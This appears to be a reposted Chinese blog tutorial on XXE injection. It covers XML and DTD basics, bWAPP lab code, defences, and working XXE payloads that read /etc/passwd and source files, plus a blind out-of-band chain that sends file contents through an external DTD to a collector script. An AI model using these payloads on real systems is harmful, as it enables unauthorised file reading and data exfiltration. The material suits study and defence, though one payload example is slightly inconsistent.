XXE漏洞

0x01 XXE基础-XML基础语法

XML被设计用来传输和存储数据。

HTML被设计用来显示数据。

0x02 什么是XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

0x03 XML基础语法

  • XML可以自定义标签。
  • XML必须含有根元素。
  • XML必须按顺序闭合标签。
  • XML标签大小写敏感。
  • XML属性值须加引号。
举个小栗子
<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明,版本&编码 -->
<note time="2018.07.03" > <!-- 根元素 time为属性 2018.07.03为属性值 -->
<to>Tove</to> <!-- 四个子元素(to,from,heading,body) -->
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note> <!-- 所有的节点必须闭合 -->

0x04 XML实体引用

在 XML 中,一些字符拥有特殊的意义。

如果您把字符 "<" 放在 XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
荔枝
<message>if salary < 1000 then</message> <!-- 发生错误的XML。 -->
<!-- 使用实体引用来代替"<" 字符。-->
<message>if salary < 1000 then</message> <!-- √ -->
实体引用

在 XML 中,有 5 个预定义的实体引用:

实体引用 特殊字符 含义
&lt ; < less than
&gt ; > greater than
&amp ; & ampersand
&apos ; ' apostrophe
&quot ; " quotation mark

0x05 DTD内外部引用

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD 可被成行地声明于XML文档中,也可作为一个外部引用。
内部引用语法
<!DOCTYPE root-element [element-declarations]>
内部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
  • !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
  • !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
  • !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
  • !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部引用语法
<!DOCTYPE root-element SYSTEM "filename">
外部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>
<!--note.dtd 文件内容 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

==参数化外部引用==

参数实体:
    参数实体只能在DTD中使用,参数是实体的声明格式:
    <!ENTITY % 实体名 "实体内容">
    引用方式:%实体名

0x06 什么是XXE漏洞

XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、×××内网网站、发起dos×××等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

0x07 XXE测试环境-弯(有回显)

当允许引用外部实体时,通过构造恶意内容,可导致任意文件读取、执行系统命令、探测内网端口等危害。
环境
bwapp  ==> XML External Entity Attacks (XXE)
文件:/bWAPP/xxe-1.php
 function ResetSecret()
    {
        var xmlHttp;
        // Code for IE7+, Firefox, Chrome, Opera, Safari
        if(window.XMLHttpRequest)
        {
            xmlHttp = new XMLHttpRequest();
        }
        // Code for IE6, IE5
        else
        {
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlHttp.open("POST","xxe-2.php",true);
        xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
        xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
    }

xxe-1.php 文件中将接收到的XML文件通过POST方式发送给xxe-2.php。

$body = file_get_contents("php://input");
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
    ini_set("display_errors",1);
    $xml = simplexml_load_string($body);
    $login = $xml->login;
    $secret = $xml->secret;
    if($login && $login != "" && $secret)
    {
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        $recordset = $link->query($sql);
        if(!$recordset)
        {

            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!";
    }
}
echo $message;

xxe-2.php文件通过PHP伪协议接收xml内容,然后解析,通过xml中获取的login元素值回显。

payload 读取文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY a SYSTEM "http://127.0.0.1/Training/bWAPP/1payload/2.txt"> 
]>
<reset><login>&a;</login><secret>Any bugs?</secret></reset>

image

读取文件句式
//通过file协议读取。
<?xml version="1.0" ?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/passwd" >
]>
<c>&c;</c>

//通过PHP伪协议php://filter/读取。
<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
]>
<c>&file;</c>

//通过引用远程外部实体读取。
<!DOCTYPE a[
    <!ENTITY % d SYSTEM "http://1.2.3.4/a.dtd">
    %d;
]>
<c>&b;</c>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">

//通过引用远程外部实体读取。
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://1.2.3.4/a.dtd">
<c>&b;</c>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">

0x08 XXE测试环境-图(无回显)

环境
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/Training/bWAPP/1payload/2.dtd">
%dtd;
]>
EOF;
$date = simplexml_load_string($xml);
//var_dump($date);
?>

当服务器没有结果回显时,可以通过将数据发送到VPS等获取服务器数据。

2.dtd 文件内容
<!ENTITY % all 
"<!ENTITY % send SYSTEM 'http://127.0.0.1/Training/bWAPP/1payload/2.php?1=%file;'>"
>
%all;
%send;
2.php 文件内容
<?php
var_dump($_GET);
file_put_contents("2.txt",$_GET['1']);
?>
结果

结果可以在2.txt中查看,示例内容如下:

PD9waHANCiR4bWwgPSA8PDxFT0YNCjw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIEFOWVsNCg0KPCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPTEucGhwIj4NCjwhRU5USVRZICUgZHRkIFNZU1RFTSAiaHR0cDovLzEyNy4wLjAuMS9UcmFpbmluZy9iV0FQUC8xcGF5bG9hZC8yLmR0ZCI DQolZHRkOw0KXT4NCkVPRjsNCiRkYXRlID0gc2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWwpOw0KdmFyX2R1bXAoJGRhdGUpOw0KPz4NCg==

0x09 XXE防护

方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

猜你喜欢

转载自blog.51cto.com/dearch/2136021